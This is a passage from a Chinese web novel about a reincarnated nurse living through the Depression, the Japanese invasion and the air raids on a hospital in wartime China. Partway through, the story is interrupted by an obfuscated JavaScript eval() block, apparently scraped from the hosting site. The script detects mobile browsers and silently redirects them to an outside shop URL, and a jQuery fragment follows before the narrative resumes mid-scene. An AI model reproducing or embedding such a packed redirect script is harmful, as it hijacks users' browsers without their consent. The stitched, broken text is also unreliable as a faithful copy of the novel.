即使这段时间已经不是头几天的万人空巷,但仍然有几万人。每天开放一路,分三天看完,不到一块。其实门票不便宜,但人人都好奇皇帝住的地方,借钱也想去开开眼,哪怕就去看一眼太和殿也成。
结果苏茜啥展品也没看到!全是人头!
她当年的当年,是很久之前了,去了故宫几次才将各个馆都走过一遍。至于珍藏……文物太多根本摆不了,至于最大的文物其实是这座重建数次的宫殿本身。
所以苏茜好好走了一趟宫殿。看高高的破旧的宫墙,看粗粗的破旧的柱子,看精雕的破旧的檐角,看大块的破旧的金砖,还有灰败的汉白玉,暗淡的好木头,长满杂草的地面以及漆面掉光的宫门。
“这以前不是后宫粉黛三千吗?这个宫那个宫的,感情就这么一个院儿就是一个宫?怎么住啊那么多的妃子。”
“听说一个妃一个宫,那些妃都是上了年纪有了儿子的。妃以下的嫔啊贵人啊答应啊的,分在各个妃的底下。”
“这怎么睡啊这是?一屋睡俩?”
“有份儿的总会有一间屋一张床吧?”
“……”
“……”
老少爷们唾沫横飞地话题歪到房子与纳妾之间的关系。工作人员则是连维持基本秩序都显得力不从心。
忽然之间一阵大雨,打得一堆一堆聊天的人措不及防到处找屋檐躲避。
只有苏茜施施然打开绅士长柄伞,慢慢经过广场,走出旧宫殿。
被岛上天气折腾了这么多年,她判断三小时内是否下雨只凭感觉。
17.当年的护士(四)
今年的天气偏暖,三月份的天气忽冷忽热,结果金陵那边传来很不好的消息,一个外籍大学校长被军队打死了。
接着,著名的活动家李先生被东北那边的军阀杀害。
各地军阀开始大洗牌。天津出的一份报纸分析的南方局势很有意思,苏茜买了没给外国邻居们看,因为他们中只有两位能够阅读简单的中文。
光是从人名满天飞的分析里就可以看出来,局势日渐紧张——不仅是内部,还有租界和口岸不设防这种入侵的前奏。最可怕的是,这些人名有的是用字、有的是用号,骂人的时候还会写绰号,搞得本来就不熟悉近代史的苏茜压根不知道在说谁。
“布莱克医生回国了。”
“最近好几位医生,回伦敦了。”
“还有去了美国的,对了,还有一位去澳大利亚。”
“你觉得澳大利亚怎么样?”
“有些大城市还不错。但听说内陆太广袤而且干旱贫瘠,不太适合生活。”
“起码不会有战争吧?”
“可是干旱也很可怕。”
“那么海滨城市?”
“亲爱的,海水不能喝。”
等到第一位女飞行员飞越大西洋的时候,这里还在为美术课程用裸模争执不休。
苏茜没有关心被东洋炸死的立场还算亲东洋的军阀——不过现在报纸上可没提那位军阀已经身亡,只是说受伤。
整个平城还在讨论新评出来的四公子,而且名单各异、长相还一言难尽,真是让人无语。
“……这就是法国香水为什么那么发达的原因。那时的贵族们不洗澡,那身上的味道可想而知。”一位英籍护士这样评价。
“人们的审美标准一直在变化。比如古代认为美少年就要比女孩子更精致纤细,但是美男子一定要高大、白皙、微胖并且胡子修剪得体。”苏茜向对方介绍道。
“哦,听上去都,挺有时代特征?”
“是的。”
两人都没有提,现在,不论哪个国家都认为男人的魅力只有一条:有钱。
“所以这位年轻的地方领袖决定挂上统一的旗帜,因此这个国家结束了分裂状态!”年底的时候这算是好消息吧?苏茜的邻居们也显得挺高兴的。谁都希望新年到来的时候都是好事。打仗并不美好,即使有一位邻居还是军火商公司的员工。苏茜还从他那里高价买了一柄带抑制器的转轮,还有两盒特制子.弹。这种大幅降低噪音的装置后来管控越来越严,税后价也越来越高,据说最高曾经达到一间屋子的价格,反正她现在付出的其实还算是便宜。另外,这柄转轮属于噪音比较小的,这与其结构设计和配套子.弹有关,加上抑制器分贝能小于100,这样不得不开木仓的时候引起关注的几率会更小。
与热武相比,最可靠的还是自己徒手。
她最近正在研究在没有修为的世界里,如何徒手拧断脖子。最靠近大脑的那节颈椎骨是最致命的,不过一击毙命的难度并不比针灸找准穴位的难度小,因为可没有那么多的脖子可以练习。她当修士时杀的人都是用修为加武.器,连灭迹都没有上手直接接触。而在之前可都是小地主,自家地盘之外的人压根听不到奇怪的声音——听到也会当作没听到。
“苏茜护士真是用功。”大概是护士里唯一一个会看手术刀杂志并且做笔记的。呃,拉丁文、英文、示意图、乃至理化还是数学符号来着。
“我不懂的太多了。”可她没找到青霉素的资料。通史里只说这个时候发明,但更具体的就没有了。哦,还有卫生巾!她受够了经带和棉花草纸。距离绝经还有很久,所以她还得等多久?
……
卫生用品没有等来,先来到的是疯狂的华尔街。
有一户邻居折腾半天没有买到船票,没回去美国“发大财”,捡回一命。苏茜只知道这一年年底左右开始大萧条,但早就不记得具体时间,只是从一个黑色星期四开始。
所以在寒风凛冽中,全楼的人先是震惊地看到通过电报得到消息的本地报纸,然后是延迟送来的外文报纸。
“天啊……华尔街下人雨砸死了好几个路人!”
“前段时间涨得太多现在回落不是很正常。”
“是彻底崩盘了。你看这几份报纸的时间,照片的时间!”
“完了,我上司新年的时候休假两个月回去买股票,一直没来上班……”
他们这些租客可没有电话,房东太太那有,但是因为她家在平城,家里直系近亲也没有在美国炒股票的,所以根本不知道消息。
“幸好我没那么多钱买来回船票去买股票。”
“幸好我不是美国人。”
“幸好我没钱。”
男女邻居们疯狂讨论了两个小时才慢慢散掉去吃迟到的晚餐。
苏茜没参与。这两个小时她在整理东西。几个月钱她就将美刀纸钞保存起来,本地和其他纸钞以及一部分金锞子全部换成银币。秋粮上市后买的大米以及酒醋、盐糖、蜂蜜等不拆袋直接存放在上辈子专门做出来的小巧粮食地窖,还专门租了个小仓库,一批批采购比如砖瓦木头石灰皮料帐篷衣被木炭煤炭汽油煤油乃至各类大小工具杂物都放进仓库,然后转移到岛上。山洞经过上辈子谨慎的扩充和加固做出来好几个附属储藏室,常年用木炭碎末减少些水分。她估计战争结束的大致时间不会改变,所以要准备好能让自己和少数身边的人撑过战争的物资。嗯,粮食包括牛奶水果肉罐头不能放那么久,每年都得更新,所以她都会在买到新粮后将陈粮送去城里的救济点,也从来不扔旧衣物。连厨余垃圾都没有,包括院子里的落叶都做了腐殖质和绿肥。
平城里因为破产而自杀的很少。但是因为美国市场或供应出了问题而离开的到有好些。苏茜的一对邻居租客走了,过了好些日子都没有人来租这两间房。最后房东太太的儿子一家为了省钱搬过来住了,女孩跟祖母住二楼,男孩跟父母住一楼。除了住房小点没有大客厅、上班远点需要骑自行车,其他没有任何不好的。
住客的变化与苏茜无关。她休假多了自然收入稍微减少一点点,不过全年所损失的工资都不超过一金元。所以她保持在一月和七月分别一次□□半年房租的习惯。
每年的圣诞元旦假期苏茜都会工作。虽然没有劳工法律,但医院会安排丰盛的加班晚餐和多一天带薪休假,表示对奉献的员工的关怀。当然,除夕的时候苏茜同样不会请假过节。
大萧条对平城的影响不是特别大,尤其是医院的产妇和病患数量每年都在增加。现在连不少普通平民都知道难产要来医院,生产前最好也来检查一下,如果能住到生产最好。更不要说一些急重症,尤其是肺部问题。甚至还有专门挑选日期来剖腹产的,不过多数会被医护劝退。
“终于没有给胎儿穿鞋子帮助生产的接生婆了。”
“其实那种操作也就是一个心理安慰吧?没有手术几乎都是母亲和孩子难产而亡。”
“谢天谢地没有人为了漂亮而故意感染肺结核。”
“本地人知道肺结核是会传染人的绝症。”
“也不是都会死啊!”
“大部分的本地人,即使小工场主也支付不起长期治疗修养的费用。”
“这倒也是。”
“……”
“……”
苏茜仍然在传染病病区。期间她“安排”自己被病人传染了三次,病假了两周时间,期间虽然没工资,但医药费不需要自己付。
由于本地病患越来越多,她这样的资深多语种华籍护士被提了一级。对了,她还会“一点”日文口语。本地的日语“教材”极少而且是用罗马字母标注读音,而那边传来的不少文章书籍居然是没有汉字的“奇怪”符号,搞得她这个近两百年没接触的人重新捡起来相当困难。她曾经一度重读过几年的教材书籍完全跟现行的完全对不上,但是口语中倒还能用,尤其是她能用一些敬语让病患及家属非常舒适,虽然格式读音之类的有些不太对。
“日籍病人是越来越多了。”本地护士在周围没有外国医护的情况下有时也会说华语。
“东北那边……唉,反正想想也不是中原。”
“连东北那边都有了侍从官四公子。不都是这边过去的。”
“所以……那边会打起来吗?”
“那边怎么会反抗东洋。”
护士们可不会看飘洋过海价格翻倍的外籍报,所以对时局了解讨论得更多,甚至还有在平城政府成立后偷偷加入党派的。
苏茜基本不参与讨论。她与本地人的脑袋不同步,但与外籍的也没法并轨,所以只能一个人清醒。
入夏后,连少雨的平城都在下雨,长江流域到处是洪灾。没灾的地方居然还在打仗!真是服了。
这下没法囤秋季大米了。好在之前买的春麦和麦粉、米粉、干面条、通心粉和一些粗粮面粉大部分都贮藏起来,足够她吃到明年秋天。不过等开始组织募捐的时候,她会将去年的粮食和罐头都捐出去的。
能在食堂吃新鲜现成的食物还不错。现在人多了,还多了个华籍平城厨师,食物种类也更多了,起码有米粥、红枣小米粥和蔬菜瘦肉粥而不是只有燕麦牛奶粥。就是披萨仍然做得一言难尽,还不如千层面,奇怪的地方在于还是平城厨师做的千层面好吃!
“这是法国菜吗?”
“不,意大利菜。其实现在推崇的法国菜源于意大利,据说法兰西国王亨利二世,在教皇的安排下娶了嫁妆非常多的凯瑟琳-美第奇公爵小姐……凯瑟琳王后陪嫁了上百名厨师,她教会法兰西贵族们如何优雅地使用刀叉、布置餐桌和烹饪肉食,而不是像野蛮人一样用刀子切割只放盐的腥膻肉块,用手放到嘴里,并且她将高跟鞋、束腰和香水带到法国宫廷乃至整个欧洲……美第奇家族是缔造了佛罗伦萨财富和四位教皇,达芬奇、米开朗基罗、拉斐尔等艺术家的传奇银行家贵族,而法王一向喜欢欠债享乐,后来波旁王室的亨利四世也一样,为了钱娶了一位美第奇又冷落妻子。这里的亨利不是英国安茹王室的短斗篷亨利二世和兰开斯特王室的……差不多一百年后,一位法国公主成为英国王后,把更加精致讲究的餐桌带给英国,虽然并没有让英国的食物变得有多好吃……”
苏茜难得聊天,一聊就是连不少外籍护士也不知道的历史八卦,嗯,尤其是标准的意语和法语人名全名发音,让挺迷信法国菜的美籍英籍甚至法籍人士都目瞪口呆,更不要说满脑袋“亨利不是亨利也不是海因里希”的三种发音——为什么苏茜一副你们应该知道谁是谁,但事实上大家一个都不知道。
“哦,‘黑太后’!”终于有个“知识渊博”的荷籍护士想起来,然后法籍护士也想起来了。
“对,住卢森堡宫,给长子娶了苏格兰玛丽斯图亚特女王的那位。”苏茜又补上一记冷知识。
“是不是被伊丽莎白女王砍头的那位?”
“对。不是血腥玛丽,是英格兰女王的表姐玛丽。当然后来那位美第奇也叫玛利亚。”抱歉,玛丽和亨利这样的名字太多了。然后她向华籍多解释了几句,“她们两位佛罗伦萨王后差不多是法国版的武则天太后和慈禧太后,前一位治国水平超过儿子,后一位尽添乱。当时还没有统一的意国。”
“不是有罗马帝国吗?”
“罗马分裂为罗马和君士坦丁堡两个帝国之后,西罗马帝国被哥特人灭亡了。中间还有个神圣罗马帝国,然后拿破仑曾经建了个傀儡国。七十年前才建了意国,定都佛罗伦萨。法国撤出后再迁都罗马。意国在罗马帝国的时候叫意省。”
“东罗马帝国是被突厥人灭绝的吧。”
“是。巴格达的什么王朝,我不会土耳其语。”
一堆的历史名词让包括华籍在内的人都满头包。但没人敢否认苏茜的欧洲历史知识超过部分欧洲人——她可以跟法籍讨论英王室的狗血,跟英籍探讨拉丁史上的狗血,跟美籍研究相同人名背后的狗血……为什么都是一堆让人无语的“史实”乱飞?
“一千年来华籍皇室和战争也很让人抓头发啊!”比如一只鸡拉开了明亡的序幕,还有被剁成碎肉的福王,还有大太监死后越来越少的军饷……为什么每个故事都是那么的,难以描述?
晚饭后的这场历史八卦甚至吸引了一堆医生和轻病患。
但几天后,就是东洋正式出兵占领满洲的九一九。
为什么不是九一八?
苏茜没有太奇怪。她是历史麻木者,知道即使历史有偏差,也还有很多年战争才结束。而且现在还不是最惨烈的时候,没看那边都没有正面战场可言吗?!
平城这里报纸传单纸片满天飞,人们义愤填膺,连外籍人士都皱眉,不少国家包括美国也公开谴责。
谴责有什么用?那边照样做生意。
调查有什么用?还是殖民国作风。
退位的皇帝又重新当了皇帝,没有引起任何波澜。倒是一堆人寄希望于外国来调查东洋侵略事宜。
苏茜连看报纸都懒得看。
“……主要看大战什么时候可能打起来吧。”苏茜冷淡地道。
“大战?!”
“对,第二次大战。这次的武.器更先进,杀伤力更强。不知道如果打起来的话,军备还是十年前的法国能撑多久。”想起来后来无数搞笑“片段”,苏茜就挺想重复美.军对法军的评价——她对历史评论的搞笑部分记得特别清楚,至于生灵涂炭……现在还没开始呢!
其实光是自然和人为灾害造成的死亡都比直接死在战场的人数多。而屠.杀……当年满兵屠.杀的城市早就没了血腥记忆,大家还对剪辫子犹豫不决呢!
苏茜的淡漠让房东太太以及邻居们有些犹豫。这到底是严重还是不严重呢?严重的话他们还是趁早找机会回国,不严重的话还能多攒几年钱到时候可以移民美国、不行去澳洲。毕竟现在欧洲还没打仗不是,就是经济同样很糟糕。
“我觉得平城目前还是安定的,不会被炸。”
这句话没多久,元旦过去没几天,东洋打进海城。
这就有了著名的一幕:外国记者在租界里边喝咖啡边拍摄远处交战的照片,以及各种战争中儿童“悲惨”的照片带动报纸销售——两个亚洲国家打来打去,也就是这种照片可以弄些卖点了。也许有些反对战争的记者会从不同角度去解读,但读者们要么表示一下自己是很有同情心的人士,要么兴高采烈地寻找谈资。平城这里谈论战事也是这种唾沫横飞的劲头,不过老少爷们是不会傻乎乎地加入军队找死的,他们还要弄钱娶姨太太传宗接代,忙着呢。也许其他地方很多人都去参军了,反正他们入伍了也不是去打外族的。
外国人们也每天盯着报纸,连外文报都对远东第一大都市和海港大篇报道。
苏茜重新去翻了通史,也就是几行字,还没有伪满国的字数多,更比不上这一年德国选举时那位当过兵的美术生为什么被任命为总理而不是直接当选为元首的分析。原来这是海城第一次抗战,败了,但还不至于全面沦陷,不是她记忆里那场悲壮的会战,但也有曾经赚到她眼泪的十九路军……
本次战事各国是出兵了的,尤其是远东海军大概都压在长江入海口了,也所以东洋军队暂“退”一步,让各国继续做生意。
要不,以后如果有机会,就学学什么机械设计、金属制造或是化学制药——生物制药在这种年代压根用不上。
日子又诡异地平静下来。平城甚至有点歌舞升平的意思,据说新的平城四公子又出炉了,从不清晰的照片上看,长相依旧有些一言难尽。兴许她与这个时代的审美有壁垒,没一个看得顺眼。
苏茜能够理解却无法接受这种党.争高于一切的“传统”做派。这个国家仍然四分五裂的状况让“国家”概念还没真正形成,又失去了君王这个共主,因此绝大多数人眼里就只剩下家族和小团体的利益。这是根深蒂固的东西,一代代家庭教育出来,不是一场两场少数人参与的“运动”能解决的。
北方,“传说”军队与东洋军又“狠狠”打了一仗。在大家还没想好是不是要跑路的时候,又结束了。有的报纸口口声声说赢了,双方停战,有的怕被查封说着模棱两可的话。
苏茜不想多看一眼这愚蠢的作秀。现阶段,真正的战争是党.争,对外的,称不上。
“如果他能够谨慎平和地使用自己的权力,那么这里的任何人都不会为德国民主的消失而落泪。”
总体上,报纸一半支持纳.粹打苏联,一半外国记者的反面新闻报道受限制。苏茜干脆不看任何报纸了。原来大战前是如此让人迷惘绝望的舆论环境!
唯一让人心情还不错的是罗总.统开始推行新政,大萧条会好一点,吧。
“……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002842|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的非常抱歉,宾西的调动太突然了。我不得不卖掉这栋房子跟着一起去巴西!”
“我能理解,亲爱的。”苏茜对房东太太退给她下半年的房租表示理解,但回头就提交了辞职书。
“平城让我感到很不安全。你知道,我是华籍,而且我讨厌东洋……我打算去锦城,那边有家女子医院。”
“亲爱的苏茜,你觉得,平城不安全?”
“对讨厌东洋的华籍女护士来说,不安全。我感觉全面战争的步伐越来越接近了。”
美籍副院长表示了一下遗憾,还给她写了封推荐信,言明是资深护士苏茜出于对战争的忧虑而选择离开平城,并且夸奖了下她的好人缘。现在院里人都是说英语,之前苏茜的多语种优势其实已经可以忽略了,所以她是否离开并不重要。
而苏茜则是给副院长以及同事们留下自制的葡萄酒后潇洒走人。
她曾经看过一篇文章,说是日据时代的平城居民户数还增加了。当时她即使不是蒙.古人种也对此感到有些奇怪:居然比德据时代的巴黎还夸张吗?!但现在她明白了,在没有了皇帝、不停变换大王旗,大家只关注明天粪车是否及时到的时候,城头上挂的什么旗帜真不重要,包括最奋战的大学估计也会挂上美国的旗……
在秋风乍起时,苏茜收拾了两个箱子,把绝大部分东西都放在岛上,买了张超高价的头等卧铺票,吃着平均一块一顿的西餐,南下汉口,再转船逆流而上去锦城。
* * *
特快火车两天一晚。非常不舒服。
下车后,买了两张一间的客船票到达长江码头,同样是不是多舒适的旅程。
在码头附近茶楼里等到雨停后,叫车走了一个多小时去家干净的旅店,第二天再叫车去城里看准的医院附近的旅店。
一路花了快半个月。
这个时候锦城还不是多“热门”的城市,与海城租界差距甚远,但比海城交战地要强多了。
苏茜对这个年代海城的“繁华”全无兴趣,也不想挑战目前蜀省风景胜地的可怕交通。她在忙着适应本地方言和找房子。
医院周边的房源不少,但都没有可以洗澡不需要倒马桶的卫生间。苏茜不得不将条件放宽,距离两公里以外,倒是有三楼一整层三间房间包括一间超级大的带下水道的盥洗室,一楼是出租的沿街店面,二楼是房东一家,三楼出租。二楼和三楼只能从后巷的室外楼梯上去。本来三楼是拆成三户出租,但住户用水上厕所得与房东家一起导致不少问题,最后房东干脆简单改造后整层出租,导致价格较高。
所以苏茜见到的盥洗室中间有个冲水蹲厕,边上是一个大木桶和一个炉子加俩凳子。
这是她若干辈子仅见的奇葩“厨卫间”,对了,这个炉子可以做饭烧水,于是就不需要从二楼拎了热水上来洗澡。
“我租了。”房租还比平城的套间便宜,三个月一付,有独立的水井,而且不需要付美刀。
至于三间屋子只有一套简单家具,井水水质一般还要人力提上楼,以及楼梯房间窗户的安全问题——对苏茜而言真不是问题。她拒绝公厕主要是为了掩饰出入自家的岛。还有,在平城时她也只喝岛上雨水过滤净化烧开后的水,而洗涤用水就是简单过滤后的雨水。
这里的井水主要是用来擦洗地面家具和冲厕所。
唯一让人特别满意的就是玻璃大窗户和布窗帘,在不得不睡在房间里时遮挡效果不错。
医院那边也到了上班的时间。
一个正值壮年,有学历有证书有工作经验会几种外语的华籍女护士还对工资没有要求,简直是天上掉馅饼。医院给了仅次于美籍护士长的工资,
苏茜则最为满意医院附属书店里有出售医学院的全部教科书,而不像平城那里拒绝外售。
她买的书分两次才搬完,还是叫人力车连人带书箱的运,再多给车夫小费帮忙搬上楼,可见买了多少书。
这个时代医学教科书的理念已经很接近“现代”理念,X光的应用也有,只是很多还是在理论甚至设想的阶段。苏茜没有收集很多的现代医学书,但病理学、药典、中医译文和穴位药方等等还是有的。跟现在买到的中西医书一对比就大概可以知道其进展。比如青霉素和磺胺的生产运用,比如病毒的检测和治疗,比如一次性针头及消毒设施……这些因为涉及医生护士医院之外的科技,因此很难做到。
……
锦城的冬季来得晚,但攻击性一点不差。让人“庆幸”的是,每逢换季公立医院塞满人的盛况在眼下的锦城西式医院里是不存在的。
医院不是公立,为个感冒付两块以上诊费药费的人不多。但来医院的过半都是肺炎乃至肺结核。
“产科当然不能和肺病还有痢疾混杂,会将疾病带给新生儿,必须严格分开……”苏茜这样跟与同样住院的亲属距离很远的产妇说道,并且拒绝了对方想让那边亲属过来的要求。
其实这个时候还有霍乱甚至炭疽吧?苏茜觉得自己的近代通史等于没读,因为没有一样是用得上的。另外,有些事情时间并不一样。比如应该有个西安事变的?怎么时间不对啊!人名似乎也不太对?苏茜看到报道的时候,那边已经“和平解决”。似乎记得惨死的小萝卜头就与这事件有关?唉,几百年了,她真有些记不清。
接着的几个月陷入了一种诡异的平静。
苏茜照样休假。
她的休假就是去无主山地“拿”可以做绿肥的大量枝叶,用来保持岛上种植区域的土壤,并且挖些山上腐殖质多的泥土连同一些看得顺眼的菜和茅草、杂草装进陶盆、木筐等各种容器里,有时直接从农家买种子。倒不全是她要种了吃,更重要的是地面需要一些植被。岛上雨水过多,即使上辈子修了梯田还种了保持土壤的植物,也只是让土地不过分糟,而且那些植物现在都成了土壤肥料。平城的时候她试过几种,但北方的植被在岛上基本活不过一年,希望锦城这里的植物争气些。
“这种草就是盖屋顶的。没人专门种,田里不能有这种草,但山上都是。”山民指点了不少“冷门知识”以及不少菜作为参考,得到一块银元作为报酬,高兴得不得了。
而苏茜则待在山里逗留好几天,都在挖掘移栽。好吧,作为老家华籍的人士,她居然差点没认出来荠菜这种著名蔬菜,简直令人发指!
一周的休假过后,似乎依旧风平浪静。苏茜买了些常用西药和中草药“备着”,当然可以储藏的食物和衣物煤炭木炭竹炭汽油煤油等等是每年的“保留节目”。竹炭燃烧效果没有木炭好,但胜在便宜环保。
顺便继续给各个捐款点投入夹了无标识金元的纸币。
这个时期的纸币虽然不得不放弃银本位,但币值稳定,还能自由兑换外币,所以她时不时兑换些各国货币做收藏,尤其是保值的美刀。相比管理严格的城市,农人们还是更欢迎他们长期习惯使用的贵金属或是易物交易,所以她给的是金银,和用自家海水煮出来的海盐。而上点规模的商人们则更喜欢金子付账。所以苏茜用金块换金条,再换来不少物资,比如脚踏车加打气筒。以她的工资得好几个月才买得起一辆脚踏车外加上税和牌照,不过用金元就简单多了。
锦城冬天湿冷夏天湿热。冬天的火炉子只要没有一氧化碳中毒还比较有效,但夏季没有低噪音的空调那真是难受。
“今天这个天热死了。晚上肯定睡不着。”二楼房主一家八口,中年夫妇两个老人四个孩子,开着所有门和窗通风。
当苏茜回来时他们顿了下,明显是从窗口离开。自从知道楼上的护士要接触病人和死人后,他们就不再热情地拉着她说东道西拼命打听医院里挣多少钱。
“我闻不到死人味道啊?”
“笨!她把护士服换下了。”
“传染病是闻不到的,只会直接传给你。”
“可她好像没有生过病。连咳嗽也很少。”
“也不在地板上跑来跑去。不吵。”
“反正你们别跟她距离太近,知道吗!”
“知道了!”
几个孩子最大的十五,最小的刚会走路。苏茜叹息着,觉得幸好这里是锦城,不是全城被炸成废墟的渝城。
不过,两个城市距离这么近,难道真没轰.炸?想到不靠谱的通史记录,她开始不确定了。话说,这个城市有防空洞吗?!
18.当年的护士(五)
【最后关头一到,只有牺牲到底,抗战到底。唯有“牺牲到底”的决心,才能博得最后胜利。若是彷徨不定,妄想苟安,便会陷民族于万劫不复之地!】
所有正经报纸都登了这样的讲话内容。
宛平的交战后好些日子,这里才确定,“可能”要真打了。让习惯了党.争的家伙们炮口对外是痛苦的吧?苏茜没有去抢购什么,该买的都买了。应该说,锦城仍然在按照自己的步伐慢悠悠过着日子,完全不见战争带来的慌乱,只有茶馆饭摊的中老年男子吐沫横飞地发表着挥斥方遒的演说,然后回家继续催着儿孙结婚。哪怕打仗,也不能阻止传宗接代的决心,炮.弹和饥荒下也得生儿子不是。
何况现在没有战争。
报纸上全部是战争的消息。苏茜只买看上去最严谨的一份,看完收藏。早年的书籍保存得再好也不太行了,所以苏茜从上上辈子年老之后就一直在拼命看书背书,重点还会记录在好纸上,继续保存收藏。但不同时期对不同问题有不同见解,如果不是够聪明,她早就满脑子打结了。
就像来锦城后买的书,到现在才看了不到一半,不是对内容理解不了,而是语言翻译问题,因此她不得不将两种甚至三种语言的类似书互相对照,才发现不是自己记错了,而是文字习惯问题。她记得最好的是现代版本,但这个年代的光是翻译名称就各不相同,哪怕是英语也有不同说法,因此她不得不记了上百张纸的名词对照。
这样下去,连上班都要没时间了。
可,不上班不行啊,单身女性不管是哪个年代都得有个大家可以接受的职业或是身家地位。她的履历不可能出现豪富身家,那么一个救死扶伤、满身病菌或血污却又能自己付房租的护士就是个很好的岗位!没看房东太太根本不想问她为什么不赶紧找个有儿子的中老年男人嫁了嘛。要不是苏茜付房租爽快也不搞事情,她都恨不能另外找个房子让苏茜买下或是租住。
一直到第二年的秋粮上市,金陵惨剧都快过去一年了,东部的全部搬迁到西南,锦城的步伐一点没变,甚至因为有家资的人口多了造成房价上涨。房东太太要求涨房租,苏茜二话不说给了。
医院里也来了一堆医生,书店里还上柜了一堆新到的,半新不旧的书。苏茜把自己没有的书也都买了,又是一车。她暂时没有将脚踏车骑来上班,偶然骑回去也说是借来的。
……
一直到这个城市被炸了!
没有防空警报声,苏茜只是隐隐听到空中有不对劲的声响。但她在上班,一时没有认真分辨。但爆炸引起的声响和震动还是有感觉的。
人们包括轻症患者都跑出来问怎么回事。
苏茜也是一头雾水。不是就炸陪都吗?这个锦城为啥也倒霉了啊!
第二天的报纸全部是本城也像渝城一样被轰.炸的消息。社论认为轰.炸还会继续,还教了不少有用没用的保命知识。
苏茜皱眉,医院属于战略地点,即使一百年后照样炸,别说现在。
院长主任们连夜商量。而苏茜匆匆赶回去收拾房间,第二天大包小包拿出门,但实际都转到岛上去了。
为什么锦城会被炸呢?
她当初做错决定了吧!
但是退缩不是她的路子,何况现在退缩那就是一辈子的污点。面对飞机,她是没本事对抗的,只能逃命。
真是太可恶了!
她一边加快清理地下室的速度,一边忿忿地想,早知道自己就冲去敌占区,将快要放腐烂的子.弹全部打出去然后跑路!现在这种情况,敌人在天上飞,不论怎样都打不到啊!这又不是一战时的意国战机,能用冷武.器搞下来!
另外,即使她想去学开战斗机也没人同意。
气死了!
砰——轰——砰——
地下室前后震了两次,挺结实,没塌。
苏茜与这间本来存放杂物的地下室工作着的另一名护士面面相觑。
“我们头顶上?”
“我去看看。”
苏茜当仁不让地冲去地下室入口。那里一片狼藉,几乎整个被堵住了,碎屑一直飞到两米多的拐角堆了一地。一条电线也断了,要不是因为地下室的灯坏了、她们用的是油灯,这个时候真叫抓瞎,因为苏茜不能“凭空”变出来照明物。
“幸好我们刚才没在上面,不然可能被炸了。”苏茜无奈地退回来,从挎包里摸出来两个饼,这是早上买的备用粮。她现在每天都要提前准备一点吃的。而水倒是不缺,她们两个都是灌了带盖子的水杯下来干活的。“吃点东西,上面堵住了。我怀疑大楼受损。”
“好的,谢谢你苏茜!”护士们一多半是华籍,虽然会英语,但平时对话往往华语为主,大家对只用洋名的苏茜有些不以为然。不过现在小护士是真心拥戴苏茜的决定。
吃完,一抹嘴,“我拿长铲,先挖挖看能不能出去。”虽然她其实并不担心。
长铲不到胳膊的长度,是园丁用的,是铁头,不会一碰就坏。
谢天谢地大楼是砖石而不是石头结构,没有大块岩石。所以苏茜只用了半个多小时,连挖带扒带踢地挖出来个通道,两个人得以从地下室脱身。
外面有尸块,不是医护,但根本分辨不出死者是谁。
年轻的小护士后怕得不行。“我们就差一点!差一点!”差点就成了血肉块!
“回家的时候小心点。不行住宿舍。不过一般晚上不太会来轰.炸。”苏茜望着炸塌的大楼,想着,果然敌人不会放过医院这种地方。
医院里的人当然同样想法。除了之前个别的蠢货坚信有国际条约这种东西,其他人都认为两层以上的楼都会是目标,不论是哪国的。
“你们没事吧?”外科那边一名华籍医生跑过来。
“没事,地下室很结实。入口通道也没有堵死。但是我看到尸.体了。”苏茜差点划十字,但忍住了。
“哪里?!”
“跟我来。”苏茜挥挥手让小护士先走,然后领着对方去她看着像是上半身的地方。
“我不认识他,衣服也是偏蓝色布料。”很粗糙,不是医院里医生的毛衣白大褂外披风衣或棉大衣的风格。
“可能是校工,我知道不少人会在这里的过道避风休息。”还会在一个废弃铁桶里烧木头取暖。“还有别的尸.体吗?”
“没看见别的了。”
“行。”
开始出现轰.炸伤亡后,苏茜一直在外科手术急救这边,工作时间超过十个小时,吃住都在医院。没有休假。
城里开始出现传染病。
“是霍乱。”显微镜下找了半天才找到的。
“细菌弹。”一名美籍医生神情悲凉。
“通知所有人,霍乱,做好隔离吧!”副院长一声令下。
“我们想组织医疗队伍去前线。”一名年轻医生站出来。
“好,你们自己去征集。工资照发。军医那边也有工资。”至于抚恤……有需要领抚恤的人再说。
“……”
“……”
等苏茜知道消息的时候,几个年轻医生已经走了。因为前线很远,得跟着运兵车船,所以他们只要医生,男医生。
连捐款都没得捐。
不过好在她在医院的募捐箱里塞了些金元,算是……赞助抚恤金了。从战争开始到现在,她陆陆续续捐了大堆金元。
“止血!止血!快!”
“抬到那边去!”
“过来!都过来!”
每次轰.炸过后,医院外科急救就会忙乱上二十个小时,几天后隔离病房又会人满为患……直到下一次轰.炸。伤病的人数一直在增加,尸.体也一直在往外抬。空气里那股肢体血肉焚烧的味道挥之不去。
“都打了这么久了啊!我弟弟去年来信说不知道国会将支持哪一方。”护士长年纪不是很大,但原本旺盛的精力已经被折磨得奄奄一息。
“我们这边吧,但不是现在。钱还没有赚够呢。”苏茜抬头望天,这个时候欧洲已经“不得不”宣战了吧。真的“大”战开始。然后就是等珍珠港了,如果还会发生的话。
“你确定?”护士长也说不清为什么自己跟这名华籍女护士关系如此好,自从另一位资深美籍女护士回国后,对方是唯一能与自己合拍的人了,比那些拿了证书就来华工作的普通护士聊天的时候更愉快,而且语言和思维总能让人忘记对方是华籍。
“确定。大家都要亚洲的橡胶和石油,美国和东洋方式不同,前者是商业,后者是军事,所以最后总要用武力来决定谁更有话语权。”不能否认,美国不参战,这片土地上发生的屠.杀就将继续。
“……你分析得比报纸上简单深刻得多!”
“报纸都是有倾向的,我记得不少还是偏向纳.粹的。”
“对极了!他们有大笔投资,他们只想到钱!”护士长对前段时间差点被炸死而耿耿于怀。
“希望太平洋早点,嗯,燃烧起来。”可能就是从这个时候起,平民开始反精英和反智了吧?苏茜不负责任地胡乱揣测着自己上上辈子已经习以为常的怪现象,然后等着美国加入战局。
不过先等到的是法国没怎么打就投降的消息。
“巴黎?!”
“天哪!法国军队怎么回事!”
